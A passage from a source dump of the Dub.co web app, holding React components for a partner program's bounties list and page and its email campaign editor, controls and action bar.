px-2 pb-1.5\">\n          <div className=\"h-5 w-48 animate-pulse rounded bg-neutral-200\" />\n          <div className=\"flex h-5 items-center gap-2\">\n            <div className=\"size-3.5 shrink-0 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-5 w-32 animate-pulse rounded bg-neutral-200\" />\n          </div>\n          <div className=\"flex h-5 items-center gap-2\">\n            <div className=\"size-3.5 shrink-0 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-5 w-48 animate-pulse rounded bg-neutral-200\" />\n          </div>\n          <div className=\"flex h-5 items-center gap-2\">\n            <div className=\"size-3.5 shrink-0 animate-pulse rounded bg-neutral-200\" />\n            <div className=\"h-5 w-40 animate-pulse rounded bg-neutral-200\" />\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/bounty-list.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyListProps } from \"@/lib/types\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { Button } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { Trophy } from \"lucide-react\";\nimport useSWR from \"swr\";\nimport { useBountySheet } from \"./add-edit-bounty/add-edit-bounty-sheet\";\nimport { BountyCard, BountyCardSkeleton } from \"./bounty-card\";\n\nexport function BountyList() {\n  const { id: workspaceId } = useWorkspace();\n  const { setShowCreateBountySheet, BountySheet } = useBountySheet();\n\n  const {\n    data: bounties,\n    isLoading,\n    error,\n  } = useSWR<BountyListProps[]>(\n    workspaceId\n      ? `/api/bounties?${new URLSearchParams({ workspaceId, includeSubmissionsCount: \"true\" }).toString()}`\n      : null,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  return (\n    <>\n      {BountySheet}\n      {Boolean(bounties?.length) || isLoading ? (\n        <div className=\"grid grid-cols-1 gap-6 md:grid-cols-2 xl:grid-cols-3\">\n          {isLoading\n            ? Array.from({ length: 3 }, (_, index) => (\n                <BountyCardSkeleton key={index} />\n              ))\n            : bounties?.map((bounty) => (\n                <BountyCard key={bounty.id} bounty={bounty} />\n              ))}\n        </div>\n      ) : error ? (\n        <div className=\"flex items-center justify-center px-4 py-8\">\n          <p className=\"text-content-subtle text-sm\">\n            Failed to load bounties.\n          </p>\n        </div>\n      ) : (\n        <AnimatedEmptyState\n          title=\"No bounties active\"\n          description={\n            <>\n              This program doesn't have any active bounties.{\" \"}\n              <a\n                href=\"https://dub.co/help/article/program-bounties\"\n                target=\"_blank\"\n                rel=\"noopener noreferrer\"\n                className=\"hover:text-content-default underline sm:whitespace-nowrap\"\n              >\n                Learn more about bounties\n              </a>\n              .\n            </>\n          }\n          cardContent={() => (\n            <>\n              <Trophy className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n          addButton={\n            <Button\n              text=\"Create bounty\"\n              variant=\"primary\"\n              onClick={() => setShowCreateBountySheet(true)}\n            />\n          }\n        />\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/create-bounty-button.tsx",
    "content": "\"use client\";\n\nimport { Button, useKeyboardShortcut, useMediaQuery } from \"@dub/ui\";\nimport { useBountySheet } from \"./add-edit-bounty/add-edit-bounty-sheet\";\n\nexport function CreateBountyButton() {\n  const { isMobile } = useMediaQuery();\n  const { BountySheet, setShowCreateBountySheet } = useBountySheet({\n    nested: false,\n  });\n\n  useKeyboardShortcut(\"c\", () => setShowCreateBountySheet(true));\n\n  return (\n    <>\n      {BountySheet}\n      <Button\n        type=\"button\"\n        onClick={() => setShowCreateBountySheet(true)}\n        text={`Create${isMobile ? \"\" : \" bounty\"}`}\n        shortcut=\"C\"\n        className=\"h-8 px-3 sm:h-9\"\n      />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { BountyList } from \"./bounty-list\";\nimport { CreateBountyButton } from \"./create-bounty-button\";\n\nexport default function Page() {\n  return (\n    <PageContent\n      title=\"Bounties\"\n      titleInfo={{\n        title:\n          \"Drive partner engagement by creating performance and submission bounties for your partner program.\",\n        href: \"https://dub.co/help/article/program-bounties\",\n      }}\n      controls={<CreateBountyButton />}\n    >\n      <PageWidthWrapper className=\"pb-10\">\n        <BountyList />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-action-bar.tsx",
    "content": "import { CAMPAIGN_EDITABLE_STATUSES } from \"@/lib/api/campaigns/constants\";\nimport { Campaign } from \"@/lib/types\";\nimport { Button } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { PropsWithChildren } from \"react\";\nimport { useFormState } from \"react-hook-form\";\nimport { useCampaignFormContext } from \"./campaign-form-context\";\n\ninterface CampaignActionBarProps extends PropsWithChildren {\n  onSave?: () => void;\n  onReset?: () => void;\n  isSaving?: boolean;\n  campaignStatus: Campaign[\"status\"];\n}\n\nexport function CampaignActionBar({\n  children,\n  onSave,\n  onReset,\n  campaignStatus,\n  isSaving = false,\n}: CampaignActionBarProps) {\n  const { control, reset } = useCampaignFormContext();\n  const { isDirty, isSubmitting } = useFormState({\n    control,\n  });\n\n  // Only show action bar for non-draft campaigns when there are changes\n  const showActionBar =\n    CAMPAIGN_EDITABLE_STATUSES.includes(campaignStatus) &&\n    campaignStatus !== \"draft\" &&\n    (isDirty || isSubmitting || isSaving);\n\n  return (\n    <div\n      className={cn(\n        \"sticky bottom-0 w-full shrink-0 overflow-hidden lg:bottom-4 lg:[filter:drop-shadow(0_5px_8px_#222A351d)]\",\n      )}\n    >\n      <div\n        className={cn(\n          \"mx-auto flex max-w-3xl items-center justify-between gap-4 overflow-hidden px-4 py-3\",\n          \"border-t border-neutral-200 bg-white lg:rounded-xl lg:border\",\n          \"lg:transition-[opacity,transform]\",\n          !showActionBar && \"lg:translate-y-4 lg:scale-90 lg:opacity-0\",\n        )}\n      >\n        {children || (\n          <span\n            className=\"hidden text-sm font-normal text-neutral-600 lg:block\"\n            aria-hidden={!isDirty}\n          >\n            Unsaved changes\n          </span>\n        )}\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            text=\"Discard\"\n            variant=\"secondary\"\n            className=\"hidden h-7 px-2.5 text-xs lg:flex\"\n            onClick={() => {\n              reset();\n              onReset?.();\n            }}\n            disabled={isSubmitting || isSaving}\n          />\n          <Button\n            type=\"button\"\n            text=\"Save changes\"\n            variant=\"primary\"\n            className=\"h-7 px-2.5 text-xs\"\n            loading={isSubmitting || isSaving}\n            onClick={onSave}\n            disabled={!isDirty}\n          />\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-controls.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign } from \"@/lib/types\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { CampaignStatus } from \"@dub/prisma/client\";\nimport {\n  Button,\n  CircleXmark,\n  Duplicate,\n  Flask,\n  LoadingCircle,\n  MediaPause,\n  MediaPlay,\n  MenuItem,\n  PaperPlane,\n  Popover,\n  Trash,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { Command } from \"cmdk\";\nimport { isFuture } from \"date-fns\";\nimport { useRouter } from \"next/navigation\";\nimport { useCallback, useState } from \"react\";\nimport { useWatch } from \"react-hook-form\";\nimport { useDeleteCampaignModal } from \"../delete-campaign-modal\";\nimport { useCampaignFormContext } from \"./campaign-form-context\";\nimport { useSendEmailPreviewModal } from \"./send-email-preview-modal\";\nimport { useCampaignConfirmationModals } from \"./use-campaign-confirmation-modals\";\n\ninterface CampaignControlsProps {\n  campaign: Pick<Campaign, \"id\" | \"name\" | \"type\" | \"status\">;\n}\n\nexport function CampaignControls({ campaign }: CampaignControlsProps) {\n  const router = useRouter();\n  const { isMobile } = useMediaQuery();\n  const { slug: workspaceSlug } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { control } = useCampaignFormContext();\n\n  const {\n    makeRequest: duplicateCampaign,\n    isSubmitting: isDuplicatingCampaign,\n  } = useApiMutation<{ id: string }>();\n\n  const { SendEmailPreviewModal, setShowSendEmailPreviewModal } =\n    useSendEmailPreviewModal({\n      campaignId: campaign.id,\n    });\n\n  const { DeleteCampaignModal, setShowDeleteCampaignModal } =\n    useDeleteCampaignModal(campaign);\n\n  const [\n    name,\n    subject,\n    groupIds,\n    bodyJson,\n    triggerCondition,\n    from,\n    scheduledAt,\n  ] = useWatch({\n    control,\n    name: [\n      \"name\",\n      \"subject\",\n      \"groupIds\",\n      \"bodyJson\",\n      \"triggerCondition\",\n      \"from\",\n      \"scheduledAt\",\n    ],\n  });\n\n  // Form validation\n  const validationError = useCallback(\n    ({ sendPreview = false }: { sendPreview?: boolean } = {}) => {\n      if (!name) {\n        return \"Please enter a campaign name.\";\n      }\n\n      if (!subject) {\n        return \"Please enter a subject.\";\n      }\n\n      if (groupIds === undefined) {\n        return \"Please select the groups you want to send this campaign to.\";\n      }\n\n      if (!from && !sendPreview) {\n        return \"Please select a sender email address.\";\n      }\n\n      if (\n        !sendPreview &&\n        campaign.type === \"transactional\" &&\n        !triggerCondition\n      ) {\n        return \"Please select a trigger condition.\";\n      }\n\n      if (!bodyJson?.content || !bodyJson.content.length) {\n        return \"Please write the message you want to send to the partners.\";\n      }\n    },\n    [name, subject, groupIds, triggerCondition, bodyJson, from],\n  );\n\n  // Confirmation modals\n  const {\n    isUpdatingCampaign,\n    publishConfirmModal,\n    setShowPublishModal,\n    scheduleConfirmModal,\n    setShowScheduleModal,\n    pauseConfirmModal,\n    setShowPauseModal,\n    resumeConfirmModal,\n    setShowResumeModal,\n    cancelConfirmModal,\n    setShowCancelModal,\n  } = useCampaignConfirmationModals({\n    campaign,\n  });\n\n  const handleCampaignDuplication = async () => {\n    await duplicateCampaign(`/api/campaigns/${campaign.id}/duplicate`, {\n      method: \"POST\",\n      onSuccess: (campaign) => {\n        router.push(`/${workspaceSlug}/program/campaigns/${campaign.id}`);\n        mutatePrefix(\"/api/campaigns\");\n      },\n    });\n  };\n\n  const actionButton = (() => {\n    const marketingActionButtonMap = {\n      [CampaignStatus.draft]: {\n        text:\n          scheduledAt && isFuture(new Date(scheduledAt)) ? \"Schedule\" : \"Send\",\n        icon: PaperPlane,\n        loading: isUpdatingCampaign,\n        variant: \"primary\",\n        onClick: () => {\n          setShowScheduleModal(true);\n        },\n      },\n\n      [CampaignStatus.scheduled]: {\n        text: \"Cancel\",\n        icon: CircleXmark,\n        loading: isUpdatingCampaign,\n        onClick: () => {\n          setShowCancelModal(true);\n        },\n      },\n\n      [CampaignStatus.sending]: {\n        text: \"Cancel\",\n        icon: CircleXmark,\n        loading: isUpdatingCampaign,\n        onClick: () => {\n          setShowCancelModal(true);\n        },\n      },\n\n      [CampaignStatus.sent]: null, // No action once sent\n      [CampaignStatus.canceled]: null, // No action once canceled\n    };\n\n    const transactionalActionButtonMap = {\n      [CampaignStatus.draft]: {\n        text: \"Publish\",\n        icon: PaperPlane,\n        loading: isUpdatingCampaign,\n        onClick: () => {\n          setShowPublishModal(true);\n        },\n      },\n\n      [CampaignStatus.active]: {\n        text: \"Pause\",\n        icon: MediaPause,\n        loading: isUpdatingCampaign,\n        onClick: () => {\n          setShowPauseModal(true);\n        },\n      },\n\n      [CampaignStatus.paused]: {\n        text: \"Resume\",\n        icon: MediaPlay,\n        loading: isUpdatingCampaign,\n        onClick: () => {\n          setShowResumeModal(true);\n        },\n      },\n    };\n\n    if (campaign.type === \"transactional\") {\n      return transactionalActionButtonMap[campaign.status];\n    }\n\n    if (campaign.type === \"marketing\") {\n      return marketingActionButtonMap[campaign.status];\n    }\n\n    return null;\n  })();\n\n  return (\n    <>\n      <div className=\"flex items-center gap-2\">\n        {actionButton && (\n          <Button\n            text={actionButton.text}\n            icon={<actionButton.icon className=\"size-4\" />}\n            disabled={!!validationError()}\n            disabledTooltip={validationError()}\n            onClick={actionButton.onClick}\n            loading={actionButton.loading}\n            className=\"hidden h-9 px-4 sm:flex\"\n            variant={actionButton.variant || \"secondary\"}\n          />\n        )}\n\n        <Popover\n          openPopover={openPopover}\n          setOpenPopover={setOpenPopover}\n          align=\"end\"\n          content={\n            <Command tabIndex={0} loop className=\"focus:outline-none\">\n              <Command.List className=\"flex w-screen flex-col gap-1 p-1.5 text-sm focus-visible:outline-none sm:w-auto sm:min-w-[150px]\">\n                {actionButton && isMobile && (\n                  <MenuItem\n                    as={Command.Item}\n                    icon={actionButton.icon}\n                    disabled={!!validationError() || actionButton.loading}\n                    disabledTooltip={validationError()}\n                    onSelect={() => {\n                      setOpenPopover(false);\n                      actionButton.onClick();\n                    }}\n                  >\n                    {actionButton.text}\n                  </MenuItem>\n                )}\n\n                <MenuItem\n                  as={Command.Item}\n                  icon={Flask}\n                  disabled={\n                    !!validationError({ sendPreview: true }) ||\n                    isUpdatingCampaign\n                  }\n                  disabledTooltip={validationError({ sendPreview: true })}\n                  onSelect={() => {\n                    setOpenPopover(false);\n                    setShowSendEmailPreviewModal(true);\n                  }}\n                >\n                  Send preview\n                </MenuItem>\n\n                <MenuItem\n                  as={Command.Item}\n                  icon={isDuplicatingCampaign ? LoadingCircle : Duplicate}\n                  disabled={isUpdatingCampaign || isDuplicatingCampaign}\n                  onSelect={() => {\n                    handleCampaignDuplication();\n                  }}\n                >\n                  Duplicate\n                </MenuItem>\n\n                <MenuItem\n                  as={Command.Item}\n                  icon={Trash}\n                  disabled={isUpdatingCampaign}\n                  variant=\"danger\"\n                  onSelect={() => {\n                    setOpenPopover(false);\n                    setShowDeleteCampaignModal(true);\n                  }}\n                >\n                  Delete\n                </MenuItem>\n              </Command.List>\n            </Command>\n          }\n        >\n          <Button\n            onClick={() => setOpenPopover(!openPopover)}\n            variant=\"secondary\"\n            className=\"h-9 w-auto px-1.5\"\n            icon={<ThreeDots className=\"size-5 text-neutral-500\" />}\n          />\n        </Popover>\n      </div>\n\n      <SendEmailPreviewModal />\n      <DeleteCampaignModal />\n\n      {publishConfirmModal}\n      {scheduleConfirmModal}\n      {pauseConfirmModal}\n      {resumeConfirmModal}\n      {cancelConfirmModal}\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-editor-skeleton.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ChevronRight, PaperPlane } from \"@dub/ui\";\n\nconst labelClassName = \"text-sm font-medium text-content-muted\";\n\nexport function CampaignEditorSkeleton() {\n  return (\n    <PageContent\n      title={\n        <div className=\"flex items-center gap-1.5\">\n          <div className=\"bg-bg-subtle flex size-8 shrink-0 items-center justify-center rounded-lg\">\n            <PaperPlane className=\"text-content-default size-4\" />\n          </div>\n          <ChevronRight className=\"text-content-muted size-2.5 shrink-0 [&_*]:stroke-2\" />\n          <div className=\"h-6 w-32 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      }\n      controls={\n        <div className=\"flex items-center gap-2\">\n          <div className=\"h-9 w-20 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"size-9 animate-pulse rounded-md bg-neutral-200\" />\n          <div className=\"size-9 animate-pulse rounded-md bg-neutral-200\" />\n        </div>\n      }\n    >\n      <PageWidthWrapper className=\"mb-8 max-w-[600px]\">\n        <div className=\"grid grid-cols-[max-content_minmax(0,1fr)] items-center gap-x-6 gap-y-2\">\n          <span className={labelClassName}>Name</span>\n          <div className=\"h-8 w-full animate-pulse rounded-md bg-neutral-100\" />\n\n          <span className={labelClassName}>From</span>\n          <div className=\"h-8 w-full animate-pulse rounded-md bg-neutral-100\" />\n\n          <span className={labelClassName}>To</span>\n          <div className=\"h-8 w-full animate-pulse rounded-md bg-neutral-100\" />\n\n          <span className={labelClassName}>When</span>\n          <div className=\"h-8 w-full animate-pulse rounded-md bg-neutral-100\" />\n\n          <span className={labelClassName}>Subject</span>\n          <div className=\"h-8 w-full animate-pulse rounded-md bg-neutral-100\" />\n\n          <span className={labelClassName}>Logic</span>\n          <div className=\"h-8 w-full animate-pulse rounded-md bg-neutral-100\" />\n        </div>\n\n        <div className=\"mt-6\">\n          <div className=\"min-h-[400px] animate-pulse rounded-md bg-neutral-100\" />\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/campaigns/[campaignId]/campaign-editor.tsx",
    "content": "import { uploadCampaignImageAction } from \"@/lib/actions/partners/upload-campaign-image\";\nimport { CAMPAIGN_READONLY_STATUSES } from \"@/lib/api/campaigns/constants\";\nimport { useApiMutation } from \"@/lib/swr/use-api-mutation\";\nimport { useEmailDomains } from \"@/lib/swr/use-email-domains\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Campaign, UpdateCampaignFormData } from \"@/lib/types\";\nimport { EMAIL_TEMPLATE_VARIABLES } from \"@/lib/zod/schemas/campaigns\";\nimport { PageContentWithSidePanel } from \"@/ui/layout/page-content/page-content-with-side-panel\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { CampaignStatus } from \"@dub/prisma/client\";\nimport {\n  ChevronRight,\n  Lock,\n  PaperPlane,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  SmartDateTimePicker,\n  StatusBadge,\n  Tooltip,\n  TooltipContent,\n  useKeyboardShortcut,\n} from \"@dub/ui\";\nimport { capitalize, cn } from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport {\n  PropsWithChildren,\n  useCallback,\n  useEffect,\n  useRef,\n  useState,\n} from \"react\";\nimport { Controller, FormProvider, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport { useDebouncedCallback } from \"use-debounce\";\nimport { CAMPAIGN_STATUS_BADGES } from \"../campaign-status-badges\";\nimport { CampaignActionBar } from \"./campaign-action-bar\";\nimport { CampaignControls } from \"./campaign-controls\";\nimport { CampaignEvents } from \"./campaign-events\";\nimport { CampaignGroupsSelector } from \"./campaign-groups-selector\";\nimport { CampaignMetrics } from \"./campaign-metrics\";\nimport { DuplicateLogicWarning } from \"./duplicate-logic-warning\";\nimport { TransactionalCampaignLogic } from \"./transactional-campaign-logic\";\nimport { isValidTriggerCondition } from \"./utils\";\n\nconst inputClassName =\n  \"hover:border-border-subtle h-8 w-full rounded-md transition-colors duration-150 focus:border-black/75 border focus:ring-black/75 border-transparent px-1.5 py-0 sm:text-sm text-content-default placeholder:text-content-muted hover:bg-neutral-100 hover:cursor-pointer\";\n\nconst labelClassName = \"text-sm font-medium text-content-subtle\";\n\nconst DisabledInputWrapper = ({\n  children,\n  tooltip,\n  disabled = false,\n  hideIcon = false,\n}: {\n  children: React.ReactNode;\n  tooltip: string;\n  disabled?: boolean;\n  hideIcon?: boolean;\n}) => {\n  if (!disabled) {\n    return <>{children}</>;\n  }\n\n  return (\n    <Tooltip content={tooltip}>\n      <div className=\"relative\">\n        <div className=\"pointer-events-none select-none opacity-80\">\n          {children}\n        </div>\n        {!hideIcon && (\n          <Lock className=\"absolute right-2 top-1/2 size-3 -translate-y-1/2 text-neutral-400\" />\n        )}\n      </div>\n    </Tooltip>\n  );\n};\n\nconst statusMessages = {\n  sending: \"Edits aren't allowed while sending.\",\n  sent: \"Edits aren't allowed after sending.\",\n  canceled: \"Edits aren't allowed after cancellation.\",\n};\n\nexport function CampaignEditor({ campaign }: { campaign: Campaign }) {\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n  const { verifiedEmailDomain } = useEmailDomains();\n\n  const isActive = campaign.status === CampaignStatus.active;\n  const isReadOnly = CAMPAIGN_READONLY_STATUSES.includes(campaign.status);\n\n  const { makeRequest, isSubmitting: isSavingCampaign } =\n    useApiMutation<Campaign>();\n\n  const form = useForm<UpdateCampaignFormData>({\n    defaultValues: {\n      name: campaign.name,\n      subject: campaign.subject,\n      preview: campaign.preview,\n      from: campaign.from ?? undefined,\n      bodyJson: campaign.bodyJson,\n      groupIds: campaign.groups.map(({ id }) => id),\n      triggerCondition: campaign.triggerCondition,\n      scheduledAt: campaign.scheduledAt,\n    },\n  });\n\n  const {\n    register,\n    control,\n    watch,\n    getValues,\n    reset,\n    formState: { dirtyFields },\n  } = form;\n\n  const previewInputRef = useRef<HTMLInputElement>(null);\n\n  const [showPreviewText, setShowPreviewText] = useState(\n    Boolean(campaign.preview),\n  );\n\n  // Show preview text when preview is set\n  useEffect(() => {\n    const { unsubscribe } = watch(({ preview }) => {\n      if (preview) setShowPreviewText(true);\n    });\n    return () => unsubscribe();\n  }, [watch]);\n\n  // Focus preview input when opened\n  useEffect(() => {\n    if (showPreviewText && !getValues(\"preview\"))\n      previewInputRef.current?.focus();\n  }, [showPreviewText, getValues]);\n\n  const saveCampaign = useCallback(\n    async ({ isDraft = false }: { isDraft?: boolean }) => {\n      const allFormData = getValues();\n\n      // Only send fields that have changed (PATCH)\n      const changedFields = Object.keys(dirtyFields).reduce(\n        (acc, key) => {\n          if (dirtyFields[key as keyof typeof dirtyFields]) {\n            acc[key] = allFormData[key as keyof UpdateCampaignFormData];\n          }\n\n          return acc;\n        },\n        {} as Record<string, any>,\n      );\n\n      if (Object.keys(changedFields).length > 0) {\n        if (\"groupIds\" in changedFields) {\n          changedFields.groupIds = Array.isArray(changedFields.groupIds)\n            ? changedFields.groupIds\n            : null;\n        }\n\n        // Remove invalid triggerCondition when saving a draft to prevent API validation errors\n        if (isDraft && \"triggerCondition\" in changedFields) {\n          if (!isValidTriggerCondition(changedFields.triggerCondition)) {\n            delete changedFields.triggerCondition;\n          }\n        }\n\n        if (Object.keys(changedFields).length === 0) {\n          return;\n        }\n\n        await makeRequest(`/api/campaigns/${campaign.id}`, {\n          method: \"PATCH\",\n          body: changedFields,\n          onSuccess: () => {\n            reset(allFormData, { keepValues: true, keepDirty: false });\n            if (!isDraft) {\n              toast.success(\"Campaign saved successfully!\");\n            }\n          },\n          onError: (error) => {\n            toast.error(error);\n          },\n        });\n      }\n    },\n    [\n      isSavingCampaign,\n      getValues,\n      dirtyFields,\n      watch,\n      makeRequest,\n      campaign.id,\n      reset,\n    ],\n  );\n\n  // Debounced auto-save for draft campaigns\n  const saveDraftCampaign = useDebouncedCallback(async () => {\n    if (campaign.status !== CampaignStatus.draft) {\n      return;\n    }\n\n    await saveCampaign({ isDraft: true });\n  }, 1000);\n\n  // Watch for form changes and trigger autosave (only for draft campaigns)\n  useEffect(() => {\n    const { unsubscribe } = watch(() => {\n      if (campaign.status !== CampaignStatus.draft) {\n        return;\n      }\n\n      saveDraftCampaign();\n    });\n\n    return () => unsubscribe();\n  }, [watch, campaign.status]);\n\n  // Override CMD/CTRL+S to show autosave toast\n  useKeyboardShortcut(\n    [\"meta+s\", \"ctrl+s\"],\n    () => {\n      if (campaign.status === CampaignStatus.draft) {\n        toast.success(\"Your content is automatically saved as you type!\");\n      } else {\n        // For non-draft campaigns, trigger manual save\n        saveCampaign({ isDraft: false });\n      }\n    },\n    { enabled: true },\n  );\n\n  const { executeAsync: executeImageUpload } = useAction(\n    uploadCampaignImageAction,\n  );\n\n  const statusBadge = CAMPAIGN_STATUS_BADGES[campaign.status];\n\n  const editorRef = useRef<{ setContent: (content: any) => void }>(null);\n  const previewInputProps = register(\"preview\", {\n    onBlur: (e) => {\n      if (!e.target.value) setShowPreviewText(false);\n    },\n  });\n\n  return (\n    <FormProvider {...form}>\n      <PageContentWithSidePanel\n        title={\n          <div className=\"flex items-center gap-1.5\">\n            <div className=\"flex items-center gap-1\">\n              <Link\n                href={`/${workspaceSlug}/program/campaigns`}\n                className=\"bg-bg-subtle hover:bg-bg-emphasis flex size-8 shrink-0 items-center justify-center rounded-lg transition-[transform,background-color] duration-150 active:scale-95\"\n              >\n                <PaperPlane className=\"text-content-default size-4\" />\n              </Link>\n              <ChevronRight className=\"text-content-subtle size-2.5 shrink-0 [&_*]:stroke-2\" />\n            </div>\n\n            <div className=\"flex min-w-0 items-center gap-1.5\">\n              <span className=\"min-w-0 truncate text-lg font-semibold leading-7 text-neutral-900\">\n                {campaign.status === CampaignStatus.draft ? (\n                  <>\n                    New{\" \"}\n                    <span className=\"hidden sm:inline\">{campaign.type}</span>{\" \"}\n                    email\n                  </>\n                ) : (\n                  <>\n                    <span className=\"hidden sm:inline\">\n                      {capitalize(campaign.type)} email\n                    </span>\n                    <span className=\"inline sm:hidden\">Email</span>\n                  </>\n                )}\n              </span>\n              <StatusBadge variant={statusBadge.variant} icon={null}>\n                {statusBadge.label}\n              </StatusBadge>\n            </div>\n          </div>\n        }\n        controls={<CampaignControls campaign={campaign} />}\n        sidePanel={\n          ![\"draft\", \"scheduled\"].includes(campaign.status)\n            ? {\n                title: \"Metrics\",\n                content: (\n                  <div className=\"flex grow flex-col gap-4\">\n                    <CampaignMetrics />\n                    <CampaignEvents />\n                  </div>\n                ),\n                defaultOpen: [\"active\", \"sending\", \"sent\"].includes(\n                  campaign.status,\n                ),\n              }\n            : undefined\n        }\n        individualScrolling\n        contentWrapperClassName=\"flex flex-col\"\n      >\n        <PageWidthWrapper className=\"mb-8 max-w-[600px]\">\n          <div className=\"grid grid-cols-[max-content_minmax(0,1fr)] items-center gap-x-6 [&>*:nth-child(n+3)]:mt-2\">\n            <span className={labelClassName}>Name</span>\n            <DisabledInputWrapper\n              tooltip={isReadOnly ? statusMessages[campaign.status] : \"\"}\n              disabled={isReadOnly}\n              hideIcon={true}\n            >\n              <input\n                type=\"text\"\n                placeholder=\"Enter a name...\"\n                className={inputClassName}\n                disabled={isReadOnly}\n                {...register(\"name\")}\n              />\n            </DisabledInputWrapper>\n\n            <label className=\"contents [&>*]:mt-2\">\n              <span className={labelClassName}>From</span>\n              <Controller\n                control={control}\n                name=\"from\"\n                render={({ field }) => {\n                  const localPart = field.value?.split(\"@\")[0] || \"\";\n                  const domainSuffix = verifiedEmailDomain?.slug\n                    ? `@${verifiedEmailDomain.slug}`\n                    : \"\";\n                  const isDisabled = isReadOnly || !verifiedEmailDomain;\n\n                  return (\n                    <DisabledInputWrapper\n                      tooltip={\n                        isReadOnly ? (\n                          statusMessages[campaign.status]\n                        ) : !verifiedEmailDomain ? (\n                          <TooltipContent\n                            title=\"You haven't configured an email domain yet. Please configure an email domain to enable campaign sending.\"\n                            cta=\"Configure email domain\"\n                            href={`/${workspaceSlug}/settings/domains/email`}\n                            target=\"_blank\"\n                          />\n                        ) : undefined\n                      }\n                      disabled={isDisabled}\n                      hideIcon={true}\n                    >\n                      <div\n                        className={`flex items-center gap-1 ${inputClassName} ${isDisabled ? \"cursor-not-allowed opacity-80\" : \"\"}`}\n                      >\n                        <input\n                          type=\"text\"\n                          placeholder=\"Address\"\n                          className=\"text-content-default placeholder:text-content-muted min-w-0 flex-1 border-0 bg-transparent p-0 focus:outline-none focus:ring-0 sm:text-sm\"\n                          disabled={isDisabled}\n                          value={localPart}\n                          onChange={(e) => {\n                            const newLocalPart = e.target.value;\n                            if (verifiedEmailDomain?.slug) {\n                              field.onChange(\n                                `${newLocalPart}@${verifiedEmailDomain.slug}`,\n                              );\n                            }\n                          }}\n                        />\n                        <span className=\"text-content-muted shrink-0 text-sm\">\n                          {domainSuffix}\n                        </span>\n                      </div>\n                    </DisabledInputWrapper>\n                  );\n                }}\n              />\n            </label>\n\n            <span className={labelClassName}>To</span>\n            <Controller\n              control={control}\n              name=\"groupIds\"\n              render={({ field }) => (\n                <DisabledInputWrapper\n                  tooltip={\n                    isReadOnly\n                      ? statusMessages[campaign.status]\n                      : \"Cannot change recipients while campaign is active. Pause the campaign to make changes.\"\n                  }\n                  disabled={isActive || isReadOnly}\n                  hideIcon={isReadOnly}\n                >\n                  <CampaignGroupsSelector\n                    selectedGroupIds={field.value ?? null}\n                    setSelectedGroupIds={field.onChange}\n                  />\n                </DisabledInputWrapper>\n              )}\n            />\n\n            {campaign.type === \"marketing\" && (\n              <>\n                <span className={labelClassName}>When</span>\n                <Controller\n                  control={control}\n                  name=\"scheduledAt\"\n                  render={({ field }) => (\n                    <DisabledInputWrapper\n                      tooltip={\n                        isReadOnly ? statusMessages[campaign.status] : undefined\n                      }\n                      disabled={isReadOnly}\n                      hideIcon={true}\n                    >\n                      <SmartDateTimePicker\n                        value={field.value}\n                        onChange={field.onChange}\n                        placeholder='E.g. \"tomorrow at 5pm\" or \"in 2 hours\"'\n                        className=\"hover:border-border-subtle mt-0 h-8 min-h-8 border-transparent shadow-none focus-within:border-black/75 focus-within:ring-black/75 hover:cursor-pointer hover:bg-neutral-100\"\n                      />\n                    </DisabledInputWrapper>\n                  )}\n                />\n              </>\n            )}\n\n            <span className={labelClassName}>Subject</span>\n            <DisabledInputWrapper\n              tooltip={isReadOnly ? statusMessages[campaign.status] : \"\"}\n              disabled={isReadOnly}\n              hideIcon={true}\n            >\n              <div className=\"relative\">\n                <input\n                  type=\"text\"\n                  placeholder=\"Enter a 